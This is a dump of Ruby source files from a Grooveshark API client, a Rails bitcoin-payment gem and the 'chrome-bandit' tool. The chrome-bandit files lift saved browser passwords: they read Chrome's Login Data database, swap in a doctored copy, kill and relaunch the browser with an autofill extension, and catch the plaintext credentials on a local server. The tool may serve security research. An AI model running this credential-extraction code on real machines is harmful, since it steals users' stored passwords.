.and_return(true) playlist = Grooveshark::Playlist.new(client, 'playlist_id' => '2', 'name' => 'GoT') expect(playlist.delete).to eq(true) end end
ruby
MIT
e55686c620c13848fa6d918cc2980fd44cf40e35
2026-01-04T17:57:26.418568Z
false
sosedoff/grooveshark
https://github.com/sosedoff/grooveshark/blob/e55686c620c13848fa6d918cc2980fd44cf40e35/lib/grooveshark.rb
lib/grooveshark.rb
require 'digest' require 'json' require 'rest-client' require 'uuid' require 'grooveshark/version' require 'grooveshark/utils' require 'grooveshark/errors' require 'grooveshark/client' require 'grooveshark/user' require 'grooveshark/playlist' require 'grooveshark/song' require 'grooveshark/broadcast'
ruby
MIT
e55686c620c13848fa6d918cc2980fd44cf40e35
2026-01-04T17:57:26.418568Z
false
sosedoff/grooveshark
https://github.com/sosedoff/grooveshark/blob/e55686c620c13848fa6d918cc2980fd44cf40e35/lib/grooveshark/playlist.rb
lib/grooveshark/playlist.rb
# Grooveshark module module Grooveshark # Playlist class class Playlist attr_reader :id, :user_id attr_reader :name, :about, :picture, :username attr_reader :songs, :num_songs def initialize(client, data = nil, user_id = nil) @client = client @songs = [] return if data.nil? @id = data['playlist_id'] @name = data['name'] @about = data['about'] @picture = data['picture'] @user_id = data['user_id'] || user_id @username = data['f_name'] @num_songs = data['num_songs'].to_i end # Fetch playlist songs def load_songs @songs = [] playlist = @client.request('getPlaylistByID', playlistID: @id) @songs = playlist['songs'].map! do |s| Song.new(s) end if playlist.key?('songs') @songs end # Rename playlist def rename(name, description) @client.request('renamePlaylist', playlistID: @id, playlistName: name) @client.request('setPlaylistAbout', playlistID: @id, about: description) @name = name @about = description true rescue false end # Delete existing playlist def delete @client.request('deletePlaylist', playlistID: @id, name: @name) end end end
ruby
MIT
e55686c620c13848fa6d918cc2980fd44cf40e35
2026-01-04T17:57:26.418568Z
false
sosedoff/grooveshark
https://github.com/sosedoff/grooveshark/blob/e55686c620c13848fa6d918cc2980fd44cf40e35/lib/grooveshark/version.rb
lib/grooveshark/version.rb
# Grooveshark module module Grooveshark VERSION = '0.2.14' end
ruby
MIT
e55686c620c13848fa6d918cc2980fd44cf40e35
2026-01-04T17:57:26.418568Z
false
sosedoff/grooveshark
https://github.com/sosedoff/grooveshark/blob/e55686c620c13848fa6d918cc2980fd44cf40e35/lib/grooveshark/errors.rb
lib/grooveshark/errors.rb
# Grooveshark module module Grooveshark class InvalidAuthentication < Exception end class ReadOnlyAccess < Exception end class GeneralError < Exception end # Api error class ApiError < Exception attr_reader :code def initialize(fault) @code = fault['code'] @message = fault['message'] end def to_s "#{@code} - #{@message}" end end end
ruby
MIT
e55686c620c13848fa6d918cc2980fd44cf40e35
2026-01-04T17:57:26.418568Z
false
sosedoff/grooveshark
https://github.com/sosedoff/grooveshark/blob/e55686c620c13848fa6d918cc2980fd44cf40e35/lib/grooveshark/broadcast.rb
lib/grooveshark/broadcast.rb
# Grooveshark module module Grooveshark # Broadcast class class Broadcast attr_reader :id, :user_ids attr_reader :is_active, :is_playing attr_reader :name, :usernames attr_reader :active_song, :next_song def initialize(client, broadcast_id = nil, data = nil) @client = client if broadcast_id @id = broadcast_id reload_status elsif data @id = data['broadcast_id'] || broadcast_id @name = data['name'] @is_playing = data['is_playing'] == 1 ? true : false @is_active = data['is_active'] @active_song = Song.new(data['active_song']) @next_song = Song.new(data['next_song']) @usernames = data['usernames'] @user_ids = data['owner_user_i_ds'] end end # Reload broadcast status # Returns true on success. Otherwise false. def reload_status initialize( @client, nil, @client.request('broadcastStatusPoll', broadcastID: @id) ) true rescue false end end end
ruby
MIT
e55686c620c13848fa6d918cc2980fd44cf40e35
2026-01-04T17:57:26.418568Z
false
sosedoff/grooveshark
https://github.com/sosedoff/grooveshark/blob/e55686c620c13848fa6d918cc2980fd44cf40e35/lib/grooveshark/utils.rb
lib/grooveshark/utils.rb
# String class class String def normalize_attribute gsub(/^.*::/, '') .gsub(/([A-Z]+)([A-Z][a-z])/, '\1_\2') .gsub(/([a-z\d])([A-Z])/, '\1_\2') .downcase end end # Hash class class Hash def normalize h = {} each_pair do |k, v| attr = k.to_s.normalize_attribute case v when Hash h[attr] = v.normalize when Array h[attr] = v.map { |o| o.is_a?(Hash) ? o.normalize : o } else h[attr] = v end end h end end
ruby
MIT
e55686c620c13848fa6d918cc2980fd44cf40e35
2026-01-04T17:57:26.418568Z
false
sosedoff/grooveshark
https://github.com/sosedoff/grooveshark/blob/e55686c620c13848fa6d918cc2980fd44cf40e35/lib/grooveshark/client.rb
lib/grooveshark/client.rb
# Grooveshark module module Grooveshark # Client class class Client attr_accessor :session, :comm_token attr_reader :user, :comm_token_ttl, :country def initialize(params = {}) @ttl = params[:ttl] || 120 # 2 minutes @uuid = UUID.new.generate.upcase token_data end # Authenticate user def login(user, password) data = request('authenticateUser', { username: user, password: password }, true) @user = User.new(self, data) fail InvalidAuthentication, 'Wrong username or password!' if @user.id == 0 @user end # Find user by ID def get_user_by_id(id) resp = request('getUserByID', userID: id)['user'] resp['user_id'].nil? ? nil : User.new(self, resp) end # Find user by username def get_user_by_username(name) resp = request('getUserByUsername', username: name)['user'] resp['user_id'].nil? ? nil : User.new(self, resp) end # Get recently active users def recent_users request('getRecentlyActiveUsers', {})['users'] .map do |u| User.new(self, u) end end # Get popular songs # type => daily, monthly def popular_songs(type = 'daily') fail ArgumentError, 'Invalid type' unless %w(daily monthly).include?(type) request('popularGetSongs', type: type)['songs'].map { |s| Song.new(s) } end # Get top broadcasts # count => specifies how many broadcasts to get def top_broadcasts(count = 10) top_broadcasts = [] request('getTopBroadcastsCombined').each do |key, _val| broadcast_id = key.split(':')[1] top_broadcasts.push(Broadcast.new(self, broadcast_id)) count -= 1 break if count == 0 end top_broadcasts end # Perform search request for query def search(type, query) results = [] search = request('getResultsFromSearch', type: type, query: query) results = search['result'].map do |data| next Song.new data if type == 'Songs' next Playlist.new(self, data) if type == 'Playlists' data end if search.key?('result') results end # Perform songs search request for query def search_songs(query) search('Songs', query) end # Return raw response for songs search request def search_songs_pure(query) request('getSearchResultsEx', type: 'Songs', query: query) end # Get stream authentication by song ID def get_stream_auth_by_songid(song_id) result = request('getStreamKeyFromSongIDEx', 'type' => 0, 'prefetch' => false, 'songID' => song_id, 'country' => @country, 'mobile' => false) if result == [] fail GeneralError, 'No data for this song. ' \ 'Maybe Grooveshark banned your IP.' end result end # Get stream authentication for song object def get_stream_auth(song) get_stream_auth_by_songid(song.id) end # Get song stream url by ID def get_song_url_by_id(id) resp = get_stream_auth_by_songid(id) "http://#{resp['ip']}/stream.php?streamKey=#{resp['stream_key']}" end # Get song stream def get_song_url(song) get_song_url_by_id(song.id) end def token_data response = RestClient.get('http://grooveshark.com') preload_regex = /gsPreloadAjax\(\{url: '\/preload.php\?(.*)&hash=' \+ clientPage\}\)/ # rubocop:disable Metrics/LineLength preload_id = response.to_s.scan(preload_regex).flatten.first preload_url = "http://grooveshark.com/preload.php?#{preload_id}" \ '&getCommunicationToken=1&hash=%2F' preload_response = RestClient.get(preload_url) token_data_json = preload_response.to_s .scan(/window.tokenData = (.*);/).flatten.first fail GeneralError, 'token data not found' unless token_data_json token_data = JSON.parse(token_data_json) @comm_token = token_data['getCommunicationToken'] @comm_token_ttl = Time.now.to_i config = token_data['getGSConfig'] @country = config['country'] @session = config['sessionID'] end # Sign method def create_token(method) rnd = get_random_hex_chars(6) salt = 'gooeyFlubber' plain = [method, @comm_token, salt, rnd].join(':') hash = Digest::SHA1.hexdigest(plain) "#{rnd}#{hash}" end def get_random_hex_chars(length) chars = ('a'..'f').to_a | (0..9).to_a (0...length).map { chars[rand(chars.length)] }.join end def body(method, params) body = { 'header' => { 'client' => 'mobileshark', 'clientRevision' => '20120830', 'country' => @country, 'privacy' => 0, 'session' => @session, 'uuid' => @uuid }, 'method' => method, 'parameters' => params } body['header']['token'] = create_token(method) if @comm_token body end # Perform API request def request(method, params = {}, secure = false) refresh_token if @comm_token url = "#{secure ? 'https' : 'http'}://grooveshark.com/more.php?#{method}" begin data = RestClient.post(url, body(method, params).to_json, 'Content-Type' => 'application/json') rescue StandardError => ex raise GeneralError, ex.message end data = JSON.parse(data) data = data.normalize if data.is_a?(Hash) if data.key?('fault') fail ApiError, data['fault'] else data['result'] end end # Refresh communications token on ttl def refresh_token token_data if Time.now.to_i - @comm_token_ttl > @ttl end end end
ruby
MIT
e55686c620c13848fa6d918cc2980fd44cf40e35
2026-01-04T17:57:26.418568Z
false
sosedoff/grooveshark
https://github.com/sosedoff/grooveshark/blob/e55686c620c13848fa6d918cc2980fd44cf40e35/lib/grooveshark/song.rb
lib/grooveshark/song.rb
# Grooveshark module module Grooveshark # Song class class Song attr_reader :data attr_reader :id, :artist_id, :album_id attr_reader :name, :artist, :album, :track, :year attr_reader :duration, :artwork, :playcount def initialize(data = nil) return if data.nil? @data = data @id = data['song_id'] @name = data['song_name'] || data['name'] @artist = data['artist_name'] @artist_id = data['artist_id'] @album = data['album_name'] @album_id = data['album_id'] @track = data['track_num'] @duration = data['estimate_duration'] @artwork = data['cover_art_filename'] @playcount = data['song_plays'] @year = data['year'] end # Presentable format def to_s [@id, @name, @artist].join(' - ') end # Hash export for API usage def to_hash { 'songID' => @id, 'songName' => @name, 'artistName' => @artist, 'artistID' => @artist_id, 'albumName' => @album, 'albumID' => @album_id, 'track' => @track } end end end
ruby
MIT
e55686c620c13848fa6d918cc2980fd44cf40e35
2026-01-04T17:57:26.418568Z
false
sosedoff/grooveshark
https://github.com/sosedoff/grooveshark/blob/e55686c620c13848fa6d918cc2980fd44cf40e35/lib/grooveshark/user.rb
lib/grooveshark/user.rb
# Grooveshark module module Grooveshark # User class class User attr_reader :id, :name, :email, :premium, :data attr_reader :city, :country, :sex attr_reader :playlists, :favorites # Init user account object def initialize(client, data = nil) if data @data = data @id = data['user_id'] @name = data['f_name'] @premium = data['is_premium'] @email = data['email'] @city = data['city'] @country = data['country'] @sex = data['sex'] end @client = client end # Get user avatar URL def avatar "http://images.grooveshark.com/static/userimages/#{@id}.jpg" end # Get user activity for the date (COMES AS RAW RESPONSE) def feed(date = nil) date = Time.now if date.nil? @client.request('getProcessedUserFeedData', userID: @id, day: date.strftime('%Y%m%d')) end # -------------------------------------------------------------------------- # User Library # -------------------------------------------------------------------------- # Fetch songs from library def library(page = 0) songs = [] resp = @client.request('userGetSongsInLibrary', userID: @id, page: page.to_s) songs = resp['songs'].map do |song| Song.new song end if resp.key?('songs') songs end # Add songs to user's library def library_add(songs = []) @client.request('userAddSongsToLibrary', songs: songs.map(&:to_hash)) end # Remove song from user library def library_remove(song) fail ArgumentError, 'Song object required' unless song.is_a?(Song) req = { userID: @id, songID: song.id, albumID: song.album_id, artistID: song.artist_id } @client.request('userRemoveSongFromLibrary', req) end # Get library modification time def library_ts_modified @client.request('userGetLibraryTSModified', userID: @id) end # -------------------------------------------------------------------------- # User Playlists # -------------------------------------------------------------------------- # Fetch user playlists def playlists return @playlists if @playlists results = @client.request('userGetPlaylists', userID: @id) @playlists = results['playlists'].map do |list| Playlist.new(@client, list, @id) end end # Get playlist by ID def get_playlist(id) result = playlists.select { |p| p.id == id } result.nil? ? nil : result.first end alias_method :playlist, :get_playlist # Create new user playlist def create_playlist(name, description = '', songs = []) @client.request('createPlaylist', 'playlistName' => name, 'playlistAbout' => description, 'songIDs' => songs.map do |s| s.is_a?(Song) ? s.id : s.to_s end) end # -------------------------------------------------------------------------- # User Favorites # -------------------------------------------------------------------------- # Get user favorites def favorites return @favorites if @favorites resp = @client.request('getFavorites', ofWhat: 'Songs', userID: @id) @favorites = resp.map { |s| Song.new(s) } end # Add song to favorites def add_favorite(song) song_id = song.is_a?(Song) ? song.id : song @client.request('favorite', what: 'Song', ID: song_id) end # Remove song from favorites def remove_favorite(song) song_id = song.is_a?(Song) ? song.id : song @client.request('unfavorite', what: 'Song', ID: song_id) end end end
ruby
MIT
e55686c620c13848fa6d918cc2980fd44cf40e35
2026-01-04T17:57:26.418568Z
false
breakpointHQ/chrome-bandit
https://github.com/breakpointHQ/chrome-bandit/blob/dcf9b650cb09f3404a9c61427ca70d52ae9df6ef/commands/decrypt.rb
commands/decrypt.rb
require_relative '../utils/http_server' class DecryptCommand def initialize @origin_url = nil @fake = Tempfile.new('fake') @backup = "/tmp/login_data_backup_#{Time.now.to_i}.db" @options = { id: nil, url: nil, port: 5678, format: 'text', login_data: nil } parser = OptionParser.new do |opts| opts.banner = 'Usage: chrome-bandit decrypt [options]' opts.on('-x', '--port <port>', Integer, 'set HTTP server port') opts.on('-f', '--format <format>', String, 'set the output format: text, json') opts.on('-l', '--login_data <path>', String, 'set the "Login Data" file path') opts.on('-b', '--browser_process_name <name>', String, 'set the browser process name') opts.on('-p', '--browser_executable_path <path>', String, 'set the browser executable path') opts.on('-i', '--id <id>', Integer, 'decrypt the password for a given site id') opts.on('-u', '--url <url>', String, 'decrypt the password for the first match of a given url') for browser in BROWSERS.keys opts.on('--' + browser.to_s) end opts.on('-v', '--verbose') end parser.parse!(into: @options) @url = "http://localhost:#{@options[:port]}/" set_browser_defaults() if !@options[:login_data] @options[:chrome] = true set_browser_defaults() end if @options[:id] == nil && @options[:url] == nil raise '-i <id> or -u <url> option is required' end if VERBOSE puts "#{"Process Name:".yellow} #{@options[:browser_process_name]}" puts "#{"Executable Path:".yellow} #{@options[:browser_executable_path]}" puts "#{"Login Data:".yellow} #{@options[:login_data]}" end end def run if !@options[:login_data] raise 'The Login Data file path must be defined' end if !File.file? @options[:login_data] raise "#{@options[:login_data]} does not exists" end generate_fake_login_data() close_browser() credentials = [] html = File.read(RESOURCES_PATH + "/index.html") @server_thread = start_http_server(html, @options[:port], credentials) FileUtils.cp(@fake.path, @options[:login_data]) main_thread = Thread.new do open_browser_with_extension() timeout = 5 while credentials.length == 0 sleep 0.5 timeout = timeout - 0.5 if timeout <= 0 cleanup() raise "timeout" end end cleanup() case @options[:format] when 'text' tableprint({url: "URL", username: "Username", password: "Password"}, credentials.map { |(cred)| {url: @origin_url, username: cred["username"], password: cred["password"]} }) when 'json' credentials[0][:url] = @origin_url puts JSON.generate(credentials[0]) end end main_thread.join @server_thread.join end private def cleanup FileUtils.cp(@backup, @options[:login_data]) File.unlink @backup @server_thread.kill() close_browser() end def set_browser_defaults for browser in BROWSERS.keys if !@options[browser] next end @options[:browser_executable_path] = BROWSERS[browser][:browser_executable_path] @options[:browser_process_name] = BROWSERS[browser][:browser_process_name] for file in BROWSERS[browser][:login_data_files] if file[0...5] == "%home" file[0...5] = Dir.home end @options[:login_data] = file if File.file? file break end end end end def generate_fake_login_data FileUtils.cp(@options[:login_data], @fake.path) FileUtils.cp(@options[:login_data], @backup) db = SQLite3::Database.new @fake.path if @options[:url] != nil arg = "%#{@options[:url]}%" sql = "SELECT origin_url, username_value, hex(password_value) FROM logins WHERE username_value != '' AND password_value != '' AND origin_url like ? limit 1;" else arg = @options[:id] sql = "SELECT origin_url, username_value, hex(password_value) FROM logins WHERE username_value != '' AND password_value != '' AND id = ?" end result = db.execute sql, arg if result.length == 0 raise 'no username and password were found' end ((origin_url, username,password)) = result @origin_url = origin_url db.execute "DELETE FROM logins;" db.execute "INSERT INTO logins VALUES('#{@url}','#{@url}','log','#{username}','pwd',X'#{password}','','#{@url}',13088266845553919,0,0,0,163,X'00000000','','','',0,0,X'00000000',9999,13289417931746755,X'00000000',13088266845553919);" db.close end def close_browser `pkill -a -i "#{@options[:browser_process_name]}"` `pkill -a -i "#{@options[:browser_process_name]}"` sleep 0.5 end def open_browser_with_extension pid = nil reader, writer = IO.pipe extension_path = RESOURCES_PATH + '/extension' cmd = "\"#{@options[:browser_executable_path]}\" --load-extension=#{extension_path} #{@url} --window-size=200,200 > /dev/null" pid = Process.spawn(cmd, [:out, :err] => writer) Process.detach(pid) end end
ruby
MIT
dcf9b650cb09f3404a9c61427ca70d52ae9df6ef
2026-01-04T17:57:31.990096Z
false
breakpointHQ/chrome-bandit
https://github.com/breakpointHQ/chrome-bandit/blob/dcf9b650cb09f3404a9c61427ca70d52ae9df6ef/commands/list.rb
commands/list.rb
require 'sqlite3' require 'optparse' require 'tempfile' require 'fileutils' class ListCommand def initialize @options = { format: 'text', login_data: nil } parser = OptionParser.new do |opts| opts.banner = 'Usage: chrome-bandit list [options]' opts.on('-u', '--url <url>', String, 'only show credentials where the origin url match <url>') opts.on('-f', '--format <format>', String, 'set the output format: text, json') opts.on('-l', '--login_data <path>', String, 'set the "Login Data" file path') for browser in BROWSERS.keys opts.on('--' + browser.to_s) end opts.on('-v', '--verbose') end parser.parse!(into: @options) set_browser_defaults() if !@options[:login_data] @options[:chrome] = true set_browser_defaults() end if VERBOSE puts "#{"Login Data:".yellow} #{@options[:login_data]}" end end def run if !@options[:login_data] raise 'The Login Data file path must be defined' end if !File.file? @options[:login_data] raise "#{@options[:login_data]} does not exists" end file = Tempfile.new('ld') FileUtils.cp(@options[:login_data], file.path) db = SQLite3::Database.new file.path sql = <<-SQL SELECT id, origin_url, username_value FROM logins WHERE username_value != '' and password_value != '' AND origin_url like ? order by times_used desc; SQL rows = db.execute sql, "%#{@options[:url]}%" db.close file.unlink if rows.length == 0 raise 'no records' end case @options[:format] when "text" tableprint({id: "ID", url: "URL", username: "Username"}, rows.map { |(id,url,username)| if url.length > 50 url = url[0...47] + "..." end {id: id, url: url, username: username} }) when "json" puts JSON.generate(rows.map { |(id,url,username)| {id: id, url: url, username: username} }) end end private def set_browser_defaults for browser in BROWSERS.keys if !@options[browser] next end for file in BROWSERS[browser][:login_data_files] if file[0...5] == "%home" file[0...5] = Dir.home end @options[:login_data] = file if File.file? file break end end end end end
ruby
MIT
dcf9b650cb09f3404a9c61427ca70d52ae9df6ef
2026-01-04T17:57:31.990096Z
false
breakpointHQ/chrome-bandit
https://github.com/breakpointHQ/chrome-bandit/blob/dcf9b650cb09f3404a9c61427ca70d52ae9df6ef/utils/rprint.rb
utils/rprint.rb
def rprint(rows, space = 10) str = "" max_cell_size = 0 for row in rows for cell in row cell = cell.to_s max_cell_size = [max_cell_size, cell.length].max end end max_cell_size = max_cell_size + space for row in rows str = "" for cell in row cell = cell.to_s n = max_cell_size-cell.length suffix = " " * n str += cell + suffix end puts str end end
ruby
MIT
dcf9b650cb09f3404a9c61427ca70d52ae9df6ef
2026-01-04T17:57:31.990096Z
false
breakpointHQ/chrome-bandit
https://github.com/breakpointHQ/chrome-bandit/blob/dcf9b650cb09f3404a9c61427ca70d52ae9df6ef/utils/http_server.rb
utils/http_server.rb
require 'socket' def start_http_server(html, port, credentials) return Thread.new do server = TCPServer.open(port) loop { socket = server.accept headers = {} method, path = socket.gets.split while line = socket.gets.split(" ", 2) break if line[0] == "" headers[line[0].chop] = line[1].strip end post_body = socket.read(headers["Content-Length"].to_i) begin jsonData = JSON.parse(post_body) credentials.push(jsonData) rescue end socket.puts("HTTP/1.1 200 OK\r\nContent-Type: text/html\r\nContent-Length: #{html.length}\r\n\r\n#{html}\r\n") socket.close } end end
ruby
MIT
dcf9b650cb09f3404a9c61427ca70d52ae9df6ef
2026-01-04T17:57:31.990096Z
false
breakpointHQ/chrome-bandit
https://github.com/breakpointHQ/chrome-bandit/blob/dcf9b650cb09f3404a9c61427ca70d52ae9df6ef/utils/tableprint.rb
utils/tableprint.rb
def tableprint(col_labels, data) columns = col_labels.each_with_object({}) { |(col,label),h| h[col] = { label: label, width: [data.map { |g| g[col].size }.max, label.size].max } } write_divider columns write_header columns write_divider columns data.each { |h| write_line(h, columns) } write_divider columns end private def write_header(columns) puts "| #{ columns.map { |_,g| g[:label].ljust(g[:width]) }.join(' | ') } |" end def write_divider(columns) puts "+-#{ columns.map { |_,g| "-"*g[:width] }.join("-+-") }-+" end def write_line(h, columns) str = h.keys.map { |k| h[k].to_s.ljust(columns[k][:width]) }.join(" | ") puts "| #{str} |" end
ruby
MIT
dcf9b650cb09f3404a9c61427ca70d52ae9df6ef
2026-01-04T17:57:31.990096Z
false
breakpointHQ/chrome-bandit
https://github.com/breakpointHQ/chrome-bandit/blob/dcf9b650cb09f3404a9c61427ca70d52ae9df6ef/utils/colorize.rb
utils/colorize.rb
class String def colorize(color_code) "\e[#{color_code}m#{self}\e[0m" end def red colorize(31) end def gray colorize(90) end def green colorize(32) end def yellow colorize(33) end def blue colorize(34) end def pink colorize(35) end def light_blue colorize(36) end end
ruby
MIT
dcf9b650cb09f3404a9c61427ca70d52ae9df6ef
2026-01-04T17:57:31.990096Z
false
Sailias/bitcoin_payable
https://github.com/Sailias/bitcoin_payable/blob/14e8c4fb9e2bc181869ea9fb76c97b78ecea429b/app/controllers/bitcoin_payable/bitcoin_payment_transaction_controller.rb
app/controllers/bitcoin_payable/bitcoin_payment_transaction_controller.rb
require 'bitcoin_payable/commands/payment_processor' module BitcoinPayable class BitcoinPaymentTransactionController < ActionController::Base http_basic_authenticate_with( name: ENV['BITCOIN_PAYABLE_WEBHOOK_USER'], password: ENV['BITCOIN_PAYABLE_WEBHOOK_PASS'] ) def notify_transaction BitcoinPayable::Interactors::WebhookNotificationProcessor.call(params: params) end end end
ruby
MIT
14e8c4fb9e2bc181869ea9fb76c97b78ecea429b
2026-01-04T17:57:32.429118Z
false
Sailias/bitcoin_payable
https://github.com/Sailias/bitcoin_payable/blob/14e8c4fb9e2bc181869ea9fb76c97b78ecea429b/features/support/env.rb
features/support/env.rb
ENV["RAILS_ENV"] ||= "test" require File.expand_path("../../../spec/dummy/config/environment.rb", __FILE__) ENV["RAILS_ROOT"] ||= File.dirname(__FILE__) + "../../../spec/dummy" require 'cucumber/rails' #require 'cucumber/rspec/doubles' # Remove/comment out the lines below if your app doesn't have a database. # For some databases (like MongoDB and CouchDB) you may need to use :truncation instead. begin DatabaseCleaner.strategy = :transaction rescue NameError raise "You need to add database_cleaner to your Gemfile (in the :test group) if you wish to use it." end Before do 3.times do BitcoinPayable::CurrencyConversion.create!( currency: rand() * (0.99 - 0.85) + 0.85, btc: (rand(500.0) + 500.0) * 100 ) end @currency_conversions = BitcoinPayable::CurrencyConversion.all # return_values = [] # 10.times do # return_values << rand(500.0) + 500.0 # end #allow_any_instance_of(BitcoinPayable::PricingProcessor).to receive(:get_btc).and_return { return_values.shift } #allow_any_instance_of(BitcoinPayable::PricingProcessor).to receive(:get_currency).and_return(rand() * (0.99 - 0.85) + 0.85) end
ruby
MIT
14e8c4fb9e2bc181869ea9fb76c97b78ecea429b
2026-01-04T17:57:32.429118Z
false
Sailias/bitcoin_payable
https://github.com/Sailias/bitcoin_payable/blob/14e8c4fb9e2bc181869ea9fb76c97b78ecea429b/features/step_definitions/processor_steps.rb
features/step_definitions/processor_steps.rb
When /^the payment_processor is run$/ do BitcoinPayable::PaymentProcessor.perform end When /^the pricing processor is run$/ do BitcoinPayable::PricingProcessor.perform end
ruby
MIT
14e8c4fb9e2bc181869ea9fb76c97b78ecea429b
2026-01-04T17:57:32.429118Z
false
Sailias/bitcoin_payable
https://github.com/Sailias/bitcoin_payable/blob/14e8c4fb9e2bc181869ea9fb76c97b78ecea429b/features/step_definitions/widget_steps.rb
features/step_definitions/widget_steps.rb
Given /^the widget should have (\d+) bitcoin_payments$/ do |n| expect(@widget.bitcoin_payments.count).to eq(n.to_i) end
ruby
MIT
14e8c4fb9e2bc181869ea9fb76c97b78ecea429b
2026-01-04T17:57:32.429118Z
false
Sailias/bitcoin_payable
https://github.com/Sailias/bitcoin_payable/blob/14e8c4fb9e2bc181869ea9fb76c97b78ecea429b/features/step_definitions/model_step.rb
features/step_definitions/model_step.rb
Given /^an unsaved widget$/ do @widget = Widget.new end Given /^a saved widget$/ do @widget = Widget.create end Given /^a new bitcoin_payment$/ do @bitcoin_payment = @widget.bitcoin_payments.new end
ruby
MIT
14e8c4fb9e2bc181869ea9fb76c97b78ecea429b
2026-01-04T17:57:32.429118Z
false
Sailias/bitcoin_payable
https://github.com/Sailias/bitcoin_payable/blob/14e8c4fb9e2bc181869ea9fb76c97b78ecea429b/features/step_definitions/bitcoin_payment_steps.rb
features/step_definitions/bitcoin_payment_steps.rb
Given /^the bitcoin_payment field (\S*) is set to (.*)/ do |field, value| @bitcoin_payment.send("#{field}=", value) end Given /^the bitcoin_payment is saved$/ do @bitcoin_payment.save expect(@bitcoin_payment.reload.new_record?).to be(false) end Given /^the bitcoin_payment should have an address$/ do expect(@bitcoin_payment.address).to_not be(nil) end Given /^the bitcoin_payment should have the state (\S+)$/ do |state| expect(@bitcoin_payment.reload.state).to eq(state) end Given /^the btc_amount_due is set$/ do @btc_amount_due = @bitcoin_payment.calculate_btc_amount_due end Given /^a payment is made for (\d+) percent$/ do |percentage| @bitcoin_payment.transactions.create!(estimated_value: BitcoinPayable::BitcoinCalculator.convert_bitcoins_to_satoshis(@btc_amount_due * (percentage.to_f / 100.0)), btc_conversion: @bitcoin_payment.btc_conversion) end Given(/^the amount paid percentage should be greater than (\d+)%$/) do |percentage| expect(@bitcoin_payment.currency_amount_paid / @bitcoin_payment.price.to_f).to be >= (percentage.to_f / 100) end Given(/^the amount paid percentage should be less than (\d+)%$/) do |percentage| expect(@bitcoin_payment.currency_amount_paid / @bitcoin_payment.price).to be < (percentage.to_f / 100) end Given(/^the amount paid percentage should be (\d+)%$/) do |percentage| expect(@bitcoin_payment.currency_amount_paid / @bitcoin_payment.price.to_f).to eq(percentage.to_f / 100) end
ruby
MIT
14e8c4fb9e2bc181869ea9fb76c97b78ecea429b
2026-01-04T17:57:32.429118Z
false
Sailias/bitcoin_payable
https://github.com/Sailias/bitcoin_payable/blob/14e8c4fb9e2bc181869ea9fb76c97b78ecea429b/features/step_definitions/currency_conversion_steps.rb
features/step_definitions/currency_conversion_steps.rb
Given /^there should be (\d+) currency_conversions?$/ do |n| expect(@currency_conversions).to_not be_nil expect(@currency_conversions.count).to eq(n.to_i) end Given /^the currency_conversion is (\d+)$/ do |conversion_rate| BitcoinPayable::CurrencyConversion.create!( currency: 1, btc: conversion_rate.to_i, ) @currency_conversions = BitcoinPayable::CurrencyConversion.all end
ruby
MIT
14e8c4fb9e2bc181869ea9fb76c97b78ecea429b
2026-01-04T17:57:32.429118Z
false
Sailias/bitcoin_payable
https://github.com/Sailias/bitcoin_payable/blob/14e8c4fb9e2bc181869ea9fb76c97b78ecea429b/spec/dummy/app/helpers/application_helper.rb
spec/dummy/app/helpers/application_helper.rb
module ApplicationHelper end
ruby
MIT
14e8c4fb9e2bc181869ea9fb76c97b78ecea429b
2026-01-04T17:57:32.429118Z
false
Sailias/bitcoin_payable
https://github.com/Sailias/bitcoin_payable/blob/14e8c4fb9e2bc181869ea9fb76c97b78ecea429b/spec/dummy/app/controllers/application_controller.rb
spec/dummy/app/controllers/application_controller.rb
class ApplicationController < ActionController::Base # Prevent CSRF attacks by raising an exception. # For APIs, you may want to use :null_session instead. protect_from_forgery with: :exception end
ruby
MIT
14e8c4fb9e2bc181869ea9fb76c97b78ecea429b
2026-01-04T17:57:32.429118Z
false
Sailias/bitcoin_payable
https://github.com/Sailias/bitcoin_payable/blob/14e8c4fb9e2bc181869ea9fb76c97b78ecea429b/spec/dummy/app/models/widget.rb
spec/dummy/app/models/widget.rb
class Widget < ActiveRecord::Base has_bitcoin_payments end
ruby
MIT
14e8c4fb9e2bc181869ea9fb76c97b78ecea429b
2026-01-04T17:57:32.429118Z
false
Sailias/bitcoin_payable
https://github.com/Sailias/bitcoin_payable/blob/14e8c4fb9e2bc181869ea9fb76c97b78ecea429b/spec/dummy/db/schema.rb
spec/dummy/db/schema.rb
# encoding: UTF-8 # This file is auto-generated from the current state of the database. Instead # of editing this file, please use the migrations feature of Active Record to # incrementally modify your database, and then regenerate this schema definition. # # Note that this schema.rb definition is the authoritative source for your # database schema. If you need to create the application database on another # system, you should be using db:schema:load, not running all the migrations # from scratch. The latter is a flawed and unsustainable approach (the more migrations # you'll amass, the slower it'll run and the greater likelihood for issues). # # It's strongly recommended that you check this file into your version control system. ActiveRecord::Schema.define(version: 20140917144413) do create_table "bitcoin_payment_transactions", force: true do |t| t.integer "estimated_value" t.string "transaction_hash" t.string "block_hash" t.datetime "block_time" t.datetime "estimated_time" t.integer "bitcoin_payment_id" t.integer "btc_conversion" end add_index "bitcoin_payment_transactions", ["bitcoin_payment_id"], name: "index_bitcoin_payment_transactions_on_bitcoin_payment_id" create_table "bitcoin_payments", force: true do |t| t.string "payable_type" t.integer "payable_id" t.string "currency" t.string "reason" t.integer "price" t.float "btc_amount_due", default: 0.0 t.string "address" t.string "state" t.datetime "created_at" t.datetime "updated_at" t.integer "btc_conversion" end add_index "bitcoin_payments", ["payable_type", "payable_id"], name: "index_bitcoin_payments_on_payable_type_and_payable_id" create_table "currency_conversions", force: true do |t| t.float "currency" t.integer "btc" t.datetime "created_at" t.datetime "updated_at" end create_table "widgets", force: true do |t| t.datetime "created_at" t.datetime "updated_at" end end
ruby
MIT
14e8c4fb9e2bc181869ea9fb76c97b78ecea429b
2026-01-04T17:57:32.429118Z
false
Sailias/bitcoin_payable
https://github.com/Sailias/bitcoin_payable/blob/14e8c4fb9e2bc181869ea9fb76c97b78ecea429b/spec/dummy/db/migrate/20140511021326_create_currency_conversions.rb
spec/dummy/db/migrate/20140511021326_create_currency_conversions.rb
class CreateCurrencyConversions < ActiveRecord::Migration def change create_table :currency_conversions do |t| t.float "currency" t.integer "btc" t.datetime "created_at" t.datetime "updated_at" end end end
ruby
MIT
14e8c4fb9e2bc181869ea9fb76c97b78ecea429b
2026-01-04T17:57:32.429118Z
false
Sailias/bitcoin_payable
https://github.com/Sailias/bitcoin_payable/blob/14e8c4fb9e2bc181869ea9fb76c97b78ecea429b/spec/dummy/db/migrate/20140917144413_add_btc_conversion_to_bitcoin_payments.rb
